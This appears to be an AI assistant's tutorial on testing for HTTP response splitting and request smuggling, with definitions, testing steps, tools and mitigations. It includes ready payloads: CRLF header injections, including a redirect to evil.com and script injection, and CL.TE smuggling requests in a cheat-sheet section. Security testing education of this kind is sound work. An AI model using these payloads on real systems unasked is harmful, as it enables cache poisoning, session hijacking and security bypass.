Perfect, let’s break down **HTTP Response Splitting & HTTP Request Smuggling** in a complete way, since these two are closely related but distinct attack classes.

**🧩 Testing for HTTP Response Splitting & HTTP Request Smuggling**

**🔹 1. What is HTTP Response Splitting?**

* Occurs when **unvalidated user input** is inserted into **HTTP response headers**.
* If an attacker injects newline characters (\r\n), they can **split** the response into multiple responses.
* This can lead to:
  + **Cache poisoning**
  + **Cross-site scripting (XSS)**
  + **Open redirection**

**Example**

Legitimate response:

HTTP/1.1 302 Found

Location: /home

Injected response (via crafted URL):

HTTP/1.1 302 Found

Location: /home\r\n\r\nHTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>

* The browser interprets the **injected second response** as valid.

**🔹 2. What is HTTP Request Smuggling?**

* Exploits **inconsistencies** in how front-end (proxy/load balancer) and back-end servers parse requests.
* Common in architectures like:
  + Client → **Proxy/CDN** → Application Server
* Attackers send **ambiguous Content-Length / Transfer-Encoding headers** → different servers parse differently.
* This lets attackers:
  + **Smuggle hidden requests** through proxies
  + Poison caches
  + Steal sensitive info from other users’ requests

**🔹 3. Common Attack Scenarios**

**Response Splitting**

* **Stored XSS** through headers injected into cache.
* **Cache poisoning** (malicious content cached for all users).

**Request Smuggling**

* **Hijacking another user’s request** (stealing cookies, tokens).
* **Web cache deception** → serve private data publicly.
* **Bypass WAF/security controls** if proxy sees a benign request but backend sees a malicious one.

**🔹 4. Manual Testing for Response Splitting**

1. **Inject CRLF characters (%0d%0a) into input reflected in headers**  
   Example payloads:
2. /page?lang=en%0d%0aSet-Cookie:evil=1
3. /page?redirect=%0d%0aContent-Length:0%0d%0a%0d%0a<script>alert(1)</script>
4. Observe:
   * Does the app reflect multiple headers?
   * Does cache/CDN cache attacker’s payload?

**🔹 5. Manual Testing for Request Smuggling**

1. **Craft ambiguous requests** with conflicting headers.

Example CL.TE (Content-Length + Transfer-Encoding):

POST / HTTP/1.1

Host: victim.com

Content-Length: 13

Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Host: victim.com

* + Proxy may respect Content-Length, backend respects Transfer-Encoding → desync.

1. Variants:
   * **CL.TE** (Content-Length then Transfer-Encoding)
   * **TE.CL** (Transfer-Encoding then Content-Length)
   * **TE.TE** (multiple TE headers)
2. Use **Burp Suite Repeater** to send crafted requests and observe:
   * Is the backend parsing differently?
   * Do you “smuggle” hidden requests through?

**🔹 6. Tools for Testing**

* **Burp Suite (Pro)** → Has built-in HTTP Request Smuggling scanner module.
* **Burp Intruder** → Fuzz conflicting headers.
* **OWASP ZAP** → Manual injection of CRLF and header tests.
* **Smuggler.py** (open-source) → Automates request smuggling attacks.

**🔹 7. Payloads Cheat Sheet**

**For Response Splitting**

%0d%0aSet-Cookie:session=attacker

%0d%0aContent-Length:0%0d%0a%0d%0a<script>alert(1)</script>

%0d%0aLocation:https://evil.com

**For Request Smuggling**

POST / HTTP/1.1

Host: victim.com

Content-Length: 6

Transfer-Encoding: chunked

3

ABC

0

GET /secret HTTP/1.1

Host: victim.com

**🔹 8. Mitigation Strategies**

✅ **Against Response Splitting**

* Sanitize user input: **disallow CR (\r) and LF (\n)** in headers.
* Use proper framework libraries for header handling (never concatenate raw input).
* Configure reverse proxies/CDNs to normalize headers.

✅ **Against Request Smuggling**

* Always enforce **one consistent header parsing strategy** (either CL or TE, not both).
* Update web servers and proxies (Apache, Nginx, HAProxy, etc. have patches).
* Disable Transfer-Encoding: chunked if not needed.
* Use **HTTP/2** which eliminates this ambiguity.

**🔹 9. Quick Testing Checklist**

* ✅ Can I inject %0d%0a into response headers?
* ✅ Does the cache/CDN store injected responses?
* ✅ Do proxy and backend disagree on CL/TE parsing?
* ✅ Can I smuggle a hidden request inside another request?

👉 That’s the **complete methodology for HTTP Splitting & Smuggling**: definitions, attack scenarios, payloads, Burp workflow, tools, and mitigations.

Do you want me to also create a **step-by-step Burp Suite lab walkthrough for Request Smuggling** (like PortSwigger’s Academy labs), so you can practice it hands-on?